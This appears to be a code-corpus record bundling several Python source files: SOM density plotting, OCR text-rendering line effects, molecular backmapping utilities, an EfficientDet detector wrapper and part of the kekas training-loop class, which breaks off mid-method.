[ "# -*- coding: utf-8 -*-\n\n\n\nfrom timeit import default_timer as timer\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\n\n\n#Random sampling\nfrom random import sample\n\n\n#-----------------------------Global Variables(used in plenty of places throughout code)\nidx_map = {}\nnode_map = {}\n\n#Maybe? distance_map = None\n\n\n\n#--------------------------------------------Specify paths\ncurrent_path = os.getcwd()\nimg_savepath = os.path.join(current_path,'results/tmp/pipeline_plots/closest_samples/')\n\n\n\n\n\n'''\nTakes in Map size\n\nRETURNS a list of cords for whole map\n'''\ndef generate_list_of_coords(map_size): \n #Find map size\n #map_size = desom.map_size\n \n coords = [] #List of Grid Coords\n for k in range(map_size[0] * map_size[1]):\n x = k // map_size[1]\n y = k % map_size[1]\n\n coords.append((x,y))\n return coords\n\n\n\n'''\nRequires Grid Coordinates(From generate_list_of_coords)\nand map_size\n\n\n\nCreate a Mapping Dict for (Node => IDX) CALLED idx_map\n'''\ndef get_idx_map(grid_coordinates, map_size):\n #Refer to global\n global idx_map \n #Populate\n for k in grid_coordinates:\n w = map_size[0] #Width of MAP\n #Convert Grid NODE to IDX\n arr_i = k[0] + w * k[1]\n\n #Initialize\n idx_map[k] = arr_i\n print(\"idx_map: maps from NODE to IDX\")\n return idx_map\n \n \n \n \n'''\nREQUIRES map size\n\n\nCreates and RETURNS a Mapping Dict for (IDX => Node) CALLED node_map\n\nalso SETS global ref\n'''\ndef get_node_map(map_size): \n global node_map \n for k in range(map_size[0] * map_size[1]): \n #Convert to grid NODE\n x = k // map_size[1]\n y = k % map_size[1]\n #Form coordinate\n node = (x,y)\n #IDX -> Node\n node_map[k] = node\n print(\"node_map: maps from IDX to NODE\")\n \n return node_map\n\n\n\n#-------------------------------------------- Distance map Utility functions ------------------------\n\n'''\nGenerates density map for given SOM, using the given DISTANCE_MAP\nAssumption: Distance_map is for the given SOM-1\n\nPARAMETERS:\n - SOM\n - Distance Map\nRETURNS:\n - Log10-transformed Density matrix\n'''\ndef generate_density_matrix(som, distance_map):\n #Initialize\n M = np.zeros(shape = (som.map_size[0] * som.map_size[1]))\n print(M.shape)\n\n #Find NEAREST samples for given BMU\n for bmu in range(distance_map.shape[1]): \n distances = distance_map[:, bmu]\n #Minimum distance value\n min_dist = np.min(distances)\n #Specify indices of data points\n closest_idx = np.where(distances == min_dist)[0]\n #Heatmap value\n M[bmu] = len(closest_idx)\n\n #Log10-transform\n M = M + 1\n M = np.log10(M)\n \n #Bin \n print(\"Binning M with 3 bins\")\n counts, bin_edges = np.histogram(M, bins = 3)\n print(\"Counts: {} \\n \".format(counts))\n print(\"Bin Edges: {} \\n \".format(bin_edges))\n \n \n return M, bin_edges\n\n\n\n'''\nGenerates appropriate colormap value for index(k) depending\n on its location on M (based on it's value)\n\nPARAMETERS:\n - k\n - M\n - bin_edges\nRETURNS:\n - cmap (String)\n'''\ndef find_cmap(k, M, bin_edges):\n \n #Default\n cmap = \"Greys\"\n \n# #Conditions\n# c1 = k in np.where(np.logical_and(M > bin_edges[0], M < bin_edges[1]))[0]\n# c2 = k in np.where(np.logical_and(M > bin_edges[1], M < bin_edges[2]))[0]\n# c3 = k in np.where(np.logical_and(M > bin_edges[2], M < bin_edges[3]))[0]\n \n if(k in np.where(np.logical_and(M > bin_edges[0], M < bin_edges[1]))[0]):\n cmap =\"Greens\"\n elif(k in np.where(np.logical_and(M > bin_edges[1], M < bin_edges[2]))[0]):\n cmap = \"Blues\"\n elif(k in np.where(np.logical_and(M > bin_edges[2], M < bin_edges[3]))[0]):\n cmap = \"Reds\"\n \n return cmap\n\n\n\n'''\nGenerates colors and labels based on bin edges\n\nPARAMETERS:\n - bin_edges\nRETURNS:\n - colors\n - labels\n'''\ndef get_colors_and_legend(bin_edges):\n \n #Initialize default\n labels = [\"density < {}\".format(np.around(bin_edges[0], 3))]\n \n for i in range(len(bin_edges) - 1):\n \n low = np.around(bin_edges[i], 3)\n hi = np.around(bin_edges[i+1], 3)\n c = \"{} <= density < {}\".format(low,hi)\n \n labels.append(c)\n \n colors = ['grey','green', 'blue','red'] #Order matters!\n \n print(\"Labels: {}\".format(labels))\n print(\"Colors: {}\".format(colors))\n\n \n return colors,labels\n\n\n\n\n\n'''\n*** MAIN PLOTTING FUNCTION ***\n\nPlots color-coded SOM-1\n\nPARAMETERS:\n - SOM\n - Node_map\n - Decoded Prototypes\nRETURNS:\n -\n'''\ndef plot_color_coded_SOM1(som, node_map, decoded_prototypes, distance_map):\n \n #Find the density matrix\n M, bin_edges = generate_density_matrix(som, distance_map)\n map_size = som.map_size\n\n #Set up 32x32 size\n img_size = 32\n\n #Setup plot\n fig, ax = plt.subplots(map_size[0], map_size[1], figsize=(10, 10))\n #Iterate over each and every prototype\n for k in range(map_size[0] * map_size[1]):\n #Find appropriate CMAP\n cmap = find_cmap(k, M, bin_edges) \n #Quick lookup\n bmu_node = node_map[k]\n x = bmu_node[0]\n y = bmu_node[1] \n \n ax[x][y].imshow(decoded_prototypes[k].reshape(img_size, img_size), cmap = cmap)\n ax[x][y].axis('off')\n\n #Use helper to generate \n colors, labels = get_colors_and_legend(bin_edges)\n\n plt.subplots_adjust(hspace = 0.05, wspace = 0.05) \n patches =[mpatches.Patch(color = colors[i],\n label = labels[i]) for i in range(len(colors))]\n plt.legend(handles=patches, bbox_to_anchor=(0.5, -0.5), borderaxespad=0.1)\n \n #Filename\n filename = 'density' +'.png'\n img_savepath = os.path.join(current_path,'results/plots/',filename)\n plt.savefig(img_savepath)\n\n \n return \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n'''\nRequires Distance-Map Result\n\nHiglight NODE for a given COORDINATE PAIR\n\n#PASS IN : DECODED PROTOTYPES\n map_size\n\n NODE_MAP dict and IDX_MAP for fast lookup\n\n'''\ndef highlight_node(grid_coords, map_size ,\n decoded_prototypes,\n idx_map, node_map): \n \n #Get width\n w = map_size[0]\n \n #Array index\n #arr_i = grid_coords[0] + w * grid_coords[1]\n arr_i = idx_map[grid_coords]\n \n #---------------------Plot\n #Set up 32x32 size\n img_size = 32\n #Setup plot\n fig, ax = plt.subplots(map_size[0], map_size[1], figsize=(10, 10))\n\n #Iterate over each and every prototype\n for k in range(map_size[0]*map_size[1]):\n \n #Extract coordinates\n coords = node_map[k]\n #Find coordinates\n x = coords[0]\n y = coords[1]\n \n ax[x][y].imshow(decoded_prototypes[k].reshape(img_size, img_size), cmap='gray')\n ax[x][y].axis('off')\n\n #Highlight the one we need\n if(k==arr_i):\n ax[x][y].imshow(decoded_prototypes[k].reshape(img_size, \n img_size),\n cmap='inferno')\n plt.subplots_adjust(hspace=0.05, wspace=0.05)\n \n #---------Filename\n filename = 'highlighted_grid.png'\n #Slightly alter\n img_savepath = os.path.join(current_path,'results/tmp/pipeline_plots/')\n #Refer to global but just use local im_savepath\n im_savepath = os.path.join(img_savepath, \n filename)\n \n plt.savefig(im_savepath)\n print(\"Highlighted Grid saved as {} at {}\".format(filename, im_savepath))\n \n \n \n \n\n\n \n'''\nTakes in BMU Coords (0-indexed)\nand Distance Map\nand MAP_SIZE for formatting\nand X_train\n\nReturns ----------------closest IMAGES (32x32 each)\n\n'''\ndef find_closest_samples(grid_coords,\n distance_map,\n map_size,\n X_train,\n verbose = True):\n #Setup Map Size\n #map_size = desom.map_size\n \n #Get width\n w = map_size[0]\n \n #Array index(USE DICT LATER!)\n arr_i = grid_coords[0] + w * grid_coords[1]\n \n \n #Access\n A = distance_map[:, arr_i]\n\n #Indices of location with closest nodes\n closest_idx = np.asarray((np.where(A == np.min(A)))).flatten()\n \n #Collect samples from original data\n closest_samples = []\n for idx in closest_idx:\n #Extract sample from data and reshape\n closest_samples.append(X_train[idx].reshape(32,32))\n \n if(verbose):\n print(\"{} matching samples found.\".format(len(closest_samples)))\n \n return closest_samples\n\n\n\n\n\n'''\nREQUIRES: Samples with Minimum Manhattan Distance\n Coordinates (for filename)\n\nPlot them\n\n'''\n \ndef plot_closest_samples_and_save(closest_samples, coords):\n #How many nearby samples?\n num_samples = len(closest_samples)\n\n if(num_samples > 20):\n #Select only 20 randomly\n closest_img_list = sample(closest_samples, 20)\n num_samples = 20\n else:\n closest_img_list = closest_samples\n #Setup plot\n plt.figure(figsize=(20, 4))\n\n for i in range( 1, num_samples):\n ax = plt.subplot(1, num_samples, i)\n plt.imshow(closest_img_list[i].reshape(32,32), cmap='gray')\n ax.get_xaxis().set_visible(False)\n ax.get_yaxis().set_visible(False)\n #Filename\n filename = 'closest_'+ str(coords[0]) + '_' + str(coords[1]) +'.png'\n #Refer to global but just use local im_savepath\n im_savepath = os.path.join(img_savepath, filename) \n plt.savefig(im_savepath)\n \n print(\"Nearest samples saved as {} at {}.\".format(filename, im_savepath))\n\n\n\n \n \n \n \n \n \n \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" ]
[ [ "numpy.histogram", "numpy.zeros", "matplotlib.pyplot.savefig", "matplotlib.pyplot.legend", "numpy.min", "matplotlib.pyplot.subplots", "matplotlib.pyplot.figure", "numpy.logical_and", "numpy.where", "matplotlib.patches.Patch", "numpy.around", "numpy.log10", "matplotlib.pyplot.subplots_adjust", "matplotlib.pyplot.subplot" ] ]
maisonhai3/Japanese_HWR_OCR
[ "8cbe2a27e9f97e2d0188971f3f18c7fe5ff50014" ]
[ "textrenderer/liner.py" ]
[ "import random\nimport cv2\nimport numpy as np\n\n\nclass LineState(object):\n tableline_x_offsets = range(8, 40)\n tableline_y_offsets = range(3, 10)\n tableline_thickness = [1, 2]\n\n # 0/1/2/3: 仅单边(左上右下)\n # 4/5/6/7: 两边都有线(左上,右上,右下,左下)\n tableline_options = range(0, 8)\n\n middleline_thickness = [1, 2]\n middleline_thickness_p = [0.3, 0.7]\n\n\nclass Liner(object):\n def __init__(self, cfg):\n self.linestate = LineState()\n self.cfg = cfg\n\n def get_line_color(self):\n p = []\n colors = []\n for k, v in self.cfg.line_color.items():\n if k == 'enable':\n continue\n p.append(v.fraction)\n colors.append(k)\n\n # pick color by fraction\n color_name = np.random.choice(colors, p=p)\n l_boundary = self.cfg.line_color[color_name].l_boundary\n h_boundary = self.cfg.line_color[color_name].h_boundary\n # random color by low and high RGB boundary\n r = np.random.randint(l_boundary[0], h_boundary[0])\n g = np.random.randint(l_boundary[1], h_boundary[1])\n b = np.random.randint(l_boundary[2], h_boundary[2])\n return b, g, r\n\n def apply(self, word_img, text_box_pnts, word_color):\n \"\"\"\n :param word_img: word image with big background\n :param text_box_pnts: left-top, right-top, right-bottom, left-bottom of text word\n :return:\n \"\"\"\n line_p = []\n funcs = []\n\n if self.cfg.line.under_line.enable:\n line_p.append(self.cfg.line.under_line.fraction)\n funcs.append(self.apply_under_line)\n\n if self.cfg.line.table_line.enable:\n line_p.append(self.cfg.line.table_line.fraction)\n funcs.append(self.apply_table_line)\n\n if self.cfg.line.middle_line.enable:\n line_p.append(self.cfg.line.middle_line.fraction)\n funcs.append(self.apply_middle_line)\n\n if len(line_p) == 0:\n return word_img, text_box_pnts\n\n line_effect_func = np.random.choice(funcs, p=line_p)\n\n if self.cfg.line_color.enable or self.cfg.font_color.enable:\n line_color = self.get_line_color()\n else:\n line_color = word_color + random.randint(0, 10)\n\n return line_effect_func(word_img, text_box_pnts, line_color)\n\n def apply_under_line(self, word_img, text_box_pnts, line_color):\n y_offset = random.choice([0, 1])\n\n text_box_pnts[2][1] += y_offset\n text_box_pnts[3][1] += y_offset\n\n dst = cv2.line(word_img,\n (text_box_pnts[2][0], text_box_pnts[2][1]),\n (text_box_pnts[3][0], text_box_pnts[3][1]),\n color=line_color,\n thickness=1,\n lineType=cv2.LINE_AA)\n\n return dst, text_box_pnts\n\n def apply_table_line(self, word_img, text_box_pnts, line_color):\n \"\"\"\n 共有 8 种可能的画法,横线横穿整张 word_img\n 0/1/2/3: 仅单边(左上右下)\n 4/5/6/7: 两边都有线(左上,右上,右下,左下)\n \"\"\"\n dst = word_img\n option = random.choice(self.linestate.tableline_options)\n thickness = random.choice(self.linestate.tableline_thickness)\n\n top_y_offset = random.choice(self.linestate.tableline_y_offsets)\n bottom_y_offset = random.choice(self.linestate.tableline_y_offsets)\n left_x_offset = random.choice(self.linestate.tableline_x_offsets)\n right_x_offset = random.choice(self.linestate.tableline_x_offsets)\n\n def is_top():\n return option in [1, 4, 5]\n\n def is_bottom():\n return option in [3, 6, 7]\n\n def is_left():\n return option in [0, 4, 7]\n\n def is_right():\n return option in [2, 5, 6]\n\n if is_top():\n text_box_pnts[0][1] -= top_y_offset\n text_box_pnts[1][1] -= top_y_offset\n\n if is_bottom():\n text_box_pnts[2][1] += bottom_y_offset\n text_box_pnts[3][1] += bottom_y_offset\n\n if is_left():\n text_box_pnts[0][0] -= left_x_offset\n text_box_pnts[3][0] -= left_x_offset\n\n if is_right():\n text_box_pnts[1][0] += right_x_offset\n text_box_pnts[2][0] += right_x_offset\n\n if is_bottom():\n dst = cv2.line(dst,\n (0, text_box_pnts[2][1]),\n (word_img.shape[1], text_box_pnts[3][1]),\n color=line_color,\n thickness=thickness,\n lineType=cv2.LINE_AA)\n\n if is_top():\n dst = cv2.line(dst,\n (0, text_box_pnts[0][1]),\n (word_img.shape[1], text_box_pnts[1][1]),\n color=line_color,\n thickness=thickness,\n lineType=cv2.LINE_AA)\n\n if is_left():\n dst = cv2.line(dst,\n (text_box_pnts[0][0], 0),\n (text_box_pnts[3][0], word_img.shape[0]),\n color=line_color,\n thickness=thickness,\n lineType=cv2.LINE_AA)\n\n if is_right():\n dst = cv2.line(dst,\n (text_box_pnts[1][0], 0),\n (text_box_pnts[2][0], word_img.shape[0]),\n color=line_color,\n thickness=thickness,\n lineType=cv2.LINE_AA)\n\n return dst, text_box_pnts\n\n def apply_middle_line(self, word_img, text_box_pnts, line_color):\n y_center = int((text_box_pnts[0][1] + text_box_pnts[3][1]) / 2)\n\n thickness = np.random.choice(self.linestate.middleline_thickness, p=self.linestate.middleline_thickness_p)\n\n dst = cv2.line(word_img,\n (text_box_pnts[0][0], y_center),\n (text_box_pnts[1][0], y_center),\n color=line_color,\n thickness=thickness,\n lineType=cv2.LINE_AA)\n\n return dst, text_box_pnts\n" ]
[ [ "numpy.random.randint", "numpy.random.choice" ] ]
KirillShmilovich/backmap_pi
[ "37277cd93bfc64c104692226188d0d452dcfba32" ]
[ "backmap/utils.py" ]
[ "import numpy as np\nimport mdtraj as md\n\n__all__ = [\"parse_pdb\", \"join_trjs\", \"rigid_transform\", \"get_beads\"]\n\n\ndef parse_pdb(pdb_fname):\n \"\"\"Parses PDB file\"\"\"\n bead = list()\n with open(pdb_fname) as f:\n for line in f:\n split_line = line.split()\n if (split_line[0] == \"HETATM\") or (split_line[0] == \"ATOM\"):\n bead.append(split_line[-1])\n return np.array(bead)\n\n\ndef rigid_transform(A, B):\n \"\"\"Returns the rotation matrix (R) and translation (t) to solve 'A @ R + t = B'\n A,B are N x 3 matricies\"\"\"\n # http://nghiaho.com/?page_id=671\n\n centoid_A = A.mean(0, keepdims=True)\n centoid_B = B.mean(0, keepdims=True)\n\n H = (A - centoid_A).T @ (B - centoid_B)\n\n U, S, Vt = np.linalg.svd(H, full_matrices=False)\n\n R = Vt.T @ U.T # 3x3\n\n # Reflection case\n if np.linalg.det(R) < 0:\n Vt[-1, :] *= -1\n R = Vt.T @ U.T\n\n R = R.T # Transpose because A is not 3 x N\n\n t = centoid_B - centoid_A @ R # 1x3\n\n return R, t\n\n\ndef join_trjs(trj_A, trj_B):\n \"\"\"Combines trj_A with trj_B, returns combined trajectory\"\"\"\n new_xyz = np.concatenate((trj_A.xyz, trj_B.xyz), axis=1)\n new_top = trj_A.top.copy().join(trj_B.top.copy())\n new_trj = md.Trajectory(new_xyz, new_top)\n return new_trj\n\n\ndef get_beads(mol, n):\n \"\"\"Returns array of tuples (place_bead, align_beads): first is bead_idx to be placed,\n second is beads to align when placing\"\"\"\n n_atoms = mol.n_atoms\n if n % 2 != 1:\n raise ValueError(f\"n must be odd (n={n})\")\n if n_atoms < n + 1:\n raise ValueError(f\"n_atoms must be greater than n+1 (n_atoms={n_atoms}, n={n})\")\n\n n_copies = (n + 1) // 2\n n_step = (n - 1) // 2\n\n place_bead = np.arange(n_atoms, dtype=np.int)\n align_beads = np.zeros(shape=(n_atoms, n), dtype=np.int)\n\n for i in range(0, n_copies):\n align_beads[i] = np.arange(n)\n for i in range(n_copies, n_atoms - n_copies):\n align_beads[i] = np.arange(i - n_step, i + n_step + 1)\n for i in range(n_atoms - n_copies, n_atoms):\n align_beads[i] = np.arange(n_atoms - n, n_atoms)\n\n return zip(place_bead, align_beads)\n" ]
[ [ "numpy.concatenate", "numpy.array", "numpy.zeros", "numpy.linalg.det", "numpy.arange", "numpy.linalg.svd" ] ]
faustomorales/mira
[ "9fa85579c98c739b6bc7aa29d82496a772abacd7" ]
[ "mira/detectors/efficientdet.py" ]
[ "import typing\n\nimport torch\nimport omegaconf\nimport numpy as np\nimport pkg_resources\n\nfrom ..thirdparty import effdet\nfrom .. import datasets as mds\nfrom .. import core as mc\nfrom . import detector\n\n\nclass EfficientDet(detector.Detector):\n \"\"\"A wrapper for EfficientDet as implemented in the effdet package.\"\"\"\n\n def __init__(\n self,\n annotation_config=mds.COCOAnnotationConfiguration90,\n model_name: str = \"tf_efficientdet_d0\",\n pretrained_backbone: bool = True,\n pretrained_top: bool = False,\n device=\"cpu\",\n resize_method: detector.ResizeMethod = \"fit\",\n **kwargs,\n ):\n super().__init__(device=device, resize_method=resize_method)\n config = effdet.get_efficientdet_config(model_name=model_name)\n if kwargs:\n config = omegaconf.OmegaConf.merge( # type: ignore\n config,\n omegaconf.OmegaConf.create(kwargs),\n )\n self.annotation_config = annotation_config\n self.model = effdet.create_model_from_config(\n config=config,\n num_classes=len(annotation_config),\n bench_task=\"\",\n pretrained=pretrained_top,\n pretrained_backbone=pretrained_backbone,\n ).to(self.device)\n self.backbone = typing.cast(torch.nn.Module, self.model.backbone)\n self.model_name = model_name\n self.set_input_shape(width=config.image_size[1], height=config.image_size[0])\n\n def set_input_shape(self, width, height):\n self.model.config = omegaconf.OmegaConf.merge( # type: ignore\n self.model.config,\n omegaconf.OmegaConf.create({\"image_size\": (height, width)}),\n )\n self.anchors = effdet.anchors.Anchors.from_config(self.model.config)\n self.training_model = effdet.DetBenchTrain(self.model).to(self.device)\n\n @property\n def input_shape(self):\n return tuple(self.model.config.image_size) + (3,) # type: ignore\n\n def compute_inputs(self, images):\n mean = np.array([0.485, 0.456, 0.406]) * 255\n std = np.array([0.229, 0.224, 0.225]) * 255\n images = (np.float32(images) - mean) / std\n return (\n torch.tensor(images, dtype=torch.float32)\n .permute(0, 3, 1, 2)\n .to(self.device)\n )\n\n def compute_targets(self, annotation_groups):\n bboxes = [\n self.annotation_config.bboxes_from_group(g)[\n : self.model.config.max_det_per_image # type: ignore\n ]\n for g in annotation_groups\n ]\n bboxes = [b + [[0, 0, 0, 0, 1]] for b in bboxes]\n bboxes = [\n np.pad(\n b,\n ((0, self.model.config.max_det_per_image - len(b)), (0, 0)), # type: ignore\n mode=\"constant\",\n constant_values=-1,\n )[:, [1, 0, 3, 2, 4]]\n for b in bboxes\n ] # (ymin, xmin, ymax, xmax, class)\n return {\n \"bbox\": torch.tensor([b[:, :4] for b in bboxes], dtype=torch.float32).to(\n self.device\n ),\n \"cls\": torch.tensor([b[:, -1] for b in bboxes]).to(self.device),\n }\n\n # pylint: disable=protected-access\n def invert_targets(self, y, threshold=0.5, **kwargs):\n config = self.model.config\n class_out, box_out = y\n class_out, box_out, indices, classes = effdet.bench._post_process(\n class_out,\n box_out,\n num_levels=config.num_levels, # type: ignore\n num_classes=config.num_classes, # type: ignore\n max_detection_points=config.max_detection_points, # type: ignore\n )\n img_scale, img_size = None, None\n detections = effdet.bench._batch_detection(\n class_out.shape[0],\n class_out.cpu(),\n box_out.cpu(),\n self.anchors.boxes.cpu(),\n indices.cpu(),\n classes.cpu(),\n img_scale,\n img_size,\n max_det_per_image=config.max_det_per_image, # type: ignore\n soft_nms=True,\n )\n return [\n [\n mc.Annotation(\n category=self.annotation_config[int(labelIdx) - 1],\n x1=x1,\n y1=y1,\n x2=x2,\n y2=y2,\n score=score,\n )\n for x1, y1, x2, y2, score, labelIdx in group.detach().cpu().numpy()\n if score > threshold\n ]\n for group in detections\n ]\n\n def serve_module_string(self, enable_flexible_size=False):\n return (\n pkg_resources.resource_string(\n \"mira\", \"detectors/assets/serve/efficientdet.py\"\n )\n .decode(\"utf-8\")\n .replace(\"NUM_CLASSES\", str(self.model.config.num_classes)) # type: ignore\n .replace(\"INPUT_WIDTH\", str(self.input_shape[1]))\n .replace(\"INPUT_HEIGHT\", str(self.input_shape[0]))\n .replace(\"MODEL_NAME\", f\"'{self.model_name}'\")\n .replace(\n \"RESIZE_METHOD\",\n \"'pad_to_multiple'\"\n if enable_flexible_size\n else f\"'{self.resize_method}'\",\n )\n .replace(\"NUM_LEVELS\", str(self.model.config.num_levels)) # type: ignore\n .replace(\"MIN_LEVEL\", str(self.model.config.min_level)) # type: ignore\n .replace(\"MAX_LEVEL\", str(self.model.config.max_level)) # type: ignore\n .replace(\"MAX_DET_PER_IMAGE\", str(self.model.config.max_det_per_image)) # type: ignore\n .replace(\n \"MAX_DETECTION_POINTS\", str(self.model.config.max_detection_points) # type: ignore\n )\n )\n\n @property\n def serve_module_index(self):\n return {\n **{0: \"__background__\"},\n **{\n str(idx + 1): label.name\n for idx, label in enumerate(self.annotation_config)\n },\n }\n\n @property\n def anchor_boxes(self):\n return self.anchors.boxes\n" ]
[ [ "numpy.array", "torch.tensor", "numpy.float32" ] ]
Erlemar/kekas
[ "6fd8413f15390bf079bdb57a38a7094a5c53ab0f" ]
[ "kekas/keker.py" ]
[ "from collections import defaultdict\nfrom pathlib import Path\nfrom typing import Any, Callable, List, Tuple, Type, Dict, Union, Optional\n\nimport numpy as np\n\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torch.optim import SGD\nfrom torch.nn.parallel import DistributedDataParallel\n\nfrom .callbacks import Callback, Callbacks, ProgressBarCallback, \\\n PredictionsSaverCallback, OneCycleLR, SimpleLossCallback, MetricsCallback, \\\n TBLogger, LRFinder, CheckpointSaverCallback, SimpleSchedulerCallback, \\\n EarlyStoppingCallback, SimpleOptimizerCallback\nfrom .data import DataOwner\nfrom .parallel import DataParallelCriterion, DataParallelModel\nfrom .utils import DotDict, freeze_to, freeze, unfreeze, load_state_dict, \\\n plot_tensorboard_log\n\n\nclass Keker:\n \"\"\" The class serving the whole train-val-predict process.\n\n Args:\n model: The neural network for train/val/predict.\n dataowner: The namedtuple container of train/val/test dataloaders.\n tarket_key: The target/label key for batch-dict from dataloader.\n The dataloader returns batch as a dict on each iteration,\n that contains input data and target labels. This is key is for\n access to target labels in this dict.\n preds_key: The key for dict from self.step() functions.\n The self.step() function returns dict of predictions on each batch.\n This key is for access to predictions in this dict.\n This attribute is optional in default behavior but coulb be used\n in case of using custom callbacks.\n criterion: The loss function or the dict {'name': loss function}\n in case of multiple loss setup. If multiple loss is using,\n loss_cb should be provided.\n (ex. : torch.nn.CrossEntropyLoss(),\n {\"ce\": torch.nn.CrossEntropyLoss(), \"bce\": torch.nn.BCE()})\n metrics: {\"name\": metric_function} dict, that contains callable metrics\n for calculating. The metric takes prediction and target\n tensors as parameters, and returns float.\n For examples see kekas.metrics module.\n opt: pytorch Optimizer class (ex. torch.optim.SGD, torch.optm.Adam, etc)\n This optimizer will be used as default during training.\n Default optimizer is torch.optim.SGD.\n opt_params: The kwargs dict for optimizer initialization.\n It should contain any optimizer param you want EXCEPT learning rate,\n learing rate is specified in self.kek* methods.\n device: The torch.device when you want to put your model\n step_fn: The function that will be called at every batch of your data.\n Take a `self` as a parameter. In this function you define\n what you do with your batch. You get access to batch through\n self._state.core.batch object. Batch is a dict returned from your\n dataloader, and its key and values are specified in reader_function\n for DataKek.\n Return a dict that should contain batch predictions with access\n by `preds_key`.\n For example see self.default_step method and example ipynbs.\n loss_cb: The Callback for loss calculation. Define how to calculate loss\n and store loss value in self._state.core.loss attr.\n Default loss callback is SimpleLossCallback.\n For examples see kekas.callbacks.\n opt_cb: The Callback for optimizer applying.\n Default optimizer callback is SimpleOptimizerCallback.\n For examples see kekas.callbacks.\n callbacks: custom Callbacks thet will be applied before the core ones.\n For examples see example ipynbs.\n \"\"\"\n def __init__(self,\n model: torch.nn.Module,\n dataowner: DataOwner,\n criterion: Union[torch.nn.Module, Dict[str, torch.nn.Module]],\n target_key: str = \"label\",\n preds_key: str = \"preds\",\n metrics: Optional[Dict[str, Callable]] = None,\n opt: Optional[Type[torch.optim.Optimizer]] = None,\n opt_params: Optional[Dict] = None,\n device: Optional[torch.device] = None,\n step_fn: Optional[Callable] = None,\n loss_cb: Optional[Callback] = None,\n opt_cb: Optional[Callback] = None,\n callbacks: Optional[Union[List, Callbacks]] = None) -> None:\n\n # The state is an object that stores many variables and represents\n # the state of your train-val-predict pipeline. state passed to every\n # callback call.\n # You can use it as a container for your custom variables, but\n # DO NOT USE the 'core' attrubute, because all kekers variables are\n # there\n #\n self.state = DotDict()\n self.state.core = DotDict()\n\n self.state.core.model = model\n self.state.core.dataowner = dataowner\n\n self.target_key = target_key\n self.preds_key = preds_key\n\n self.state.core.criterion = criterion\n\n self.state.core.parallel = False\n if torch.cuda.device_count() > 1:\n self.state.core.model = DataParallelModel(self.state.core.model)\n self.state.core.criterion = DataParallelCriterion(self.state.core.criterion)\n self.state.core.parallel = True\n\n self.opt = opt or SGD\n self.opt_params = opt_params or {}\n self.device = device or torch.device(\"cuda\" if\n torch.cuda.is_available()\n else \"cpu\")\n self.state.core.model.to(self.device)\n\n self.step_fn = step_fn or self.default_step_fn\n\n # the core callbacks for train-val-predict are determined here.\n # the order of callbacks is matters!\n loss_cb = loss_cb or SimpleLossCallback(target_key, self.preds_key)\n opt_cb = opt_cb or SimpleOptimizerCallback()\n metrics_cb = MetricsCallback(target_key, self.preds_key, metrics)\n\n callbacks = callbacks or []\n self.core_callbacks = callbacks + [loss_cb,\n metrics_cb,\n opt_cb,\n ProgressBarCallback()]\n callbacks = self.core_callbacks[:]\n\n self.callbacks = Callbacks(callbacks)\n\n self.state.core.checkpoint = \"\"\n\n # The number of batch in dataloader for iteration stop,\n # determined in self.kek* methods.\n self.state.core.stop_iter = None\n\n # flag for train stop after batch.\n self.state.core.stop_epoch = False\n\n # flag for stop the whole train, used for early stopping.\n self.state.core.stop_train = False\n\n # The scheduler attribute. Scheduler is determined in self.kek* methods.\n self.state.core.sched = None\n\n # Flag for logger callback\n self.state.core.do_log = False\n\n # Predictions variable\n self.state.core.preds = None\n\n def kek(self,\n lr: float,\n epochs: int,\n skip_val: bool = False,\n opt: Optional[Type[torch.optim.Optimizer]] = None,\n opt_params: Optional[Dict] = None,\n sched: Optional[Callable] = None,\n sched_params: Optional[Dict] = None,\n stop_iter: Optional[int] = None,\n logdir: Optional[Union[str, Path]] = None,\n cp_saver_params: Optional[Dict] = None,\n early_stop_params: Optional[Dict] = None) -> None:\n \"\"\"Kek your model to the moon!\n\n Conducts a standard train-val procedure with several options for\n customization.\n\n Args:\n lr: learining rate\n epochs: number of epochs to train\n opt: torch optimizer. If specified, than specified optimizer will be\n used for this train-val procedure, else the default one.\n opt_params: The kwargs dict for custom optimizer initialization.\n It should contain any opt params you want EXCEPT learning rate,\n Can be defined even for default optimizer.\n sched: optional pytorch scheduler class. If specified, sched_params\n must be specified too.\n Ex: torch.optim.lr_scheduler.StepLR.\n sched_params: kwargs dict parameters for scheduler\n stop_iter: number of batch when you want to end an epoch\n logdir: If provided, the TBLogger will be created and tensorboard\n logs will be written in this directory.\n For more info see kekas.callbacks.TBLogger and example ipynb's.\n cp_saver_params: kwargs dict parameters for CheckpointSaverCallback.\n If provided, then a CheckpointSaverCallback will be created.\n For more info see kekas.callbacks.CheckpointSaverCallback\n and example ipynb's.\n early_stop_params: kwargs dict parameters for EarlyStoppingCallback.\n If provided, then a EarlyStoppingCallback will be created.\n For more info see kekas.callbacks.EarlyStoppingCallback\n and example ipynb's.\n \"\"\"\n\n if stop_iter:\n self.stop_iter = stop_iter\n\n # save callbacks\n callbacks = self.callbacks\n\n opt = opt or self.opt\n opt_params = opt_params or self.opt_params\n params = (p for p in self.state.core.model.parameters() if p.requires_grad)\n self.state.core.opt = opt(params=params, lr=lr, **opt_params)\n\n if sched:\n sched_params = sched_params or {}\n self.state.core.sched = sched(optimizer=self.state.core.opt, **sched_params)\n sched_cb = SimpleSchedulerCallback(sched=self.state.core.sched)\n self.callbacks = Callbacks(self.callbacks.callbacks + [sched_cb])\n\n if logdir:\n self.state.core.do_log = True\n self.state.core.metrics = defaultdict(dict)\n tboard_cb = TBLogger(logdir)\n self.callbacks = Callbacks(self.callbacks.callbacks + [tboard_cb])\n\n cp_saver_params = cp_saver_params or {}\n if cp_saver_params:\n cp_saver_cb = CheckpointSaverCallback(**cp_saver_params)\n self.callbacks = Callbacks(self.callbacks.callbacks + [cp_saver_cb])\n\n early_stop_params = early_stop_params or {}\n if early_stop_params:\n early_stop_cb = EarlyStoppingCallback(**early_stop_params)\n self.callbacks = Callbacks(self.callbacks.callbacks + [early_stop_cb])\n\n # try-finally to properly close progress bar and restore callbacks\n try:\n self.callbacks.on_train_begin(self.state)\n\n for epoch in range(epochs):\n self.set_mode(\"train\")\n self._run_epoch(epoch, epochs)\n\n if not skip_val:\n self.set_mode(\"val\")\n self._run_epoch(epoch, epochs)\n\n if self.state.core.stop_train:\n 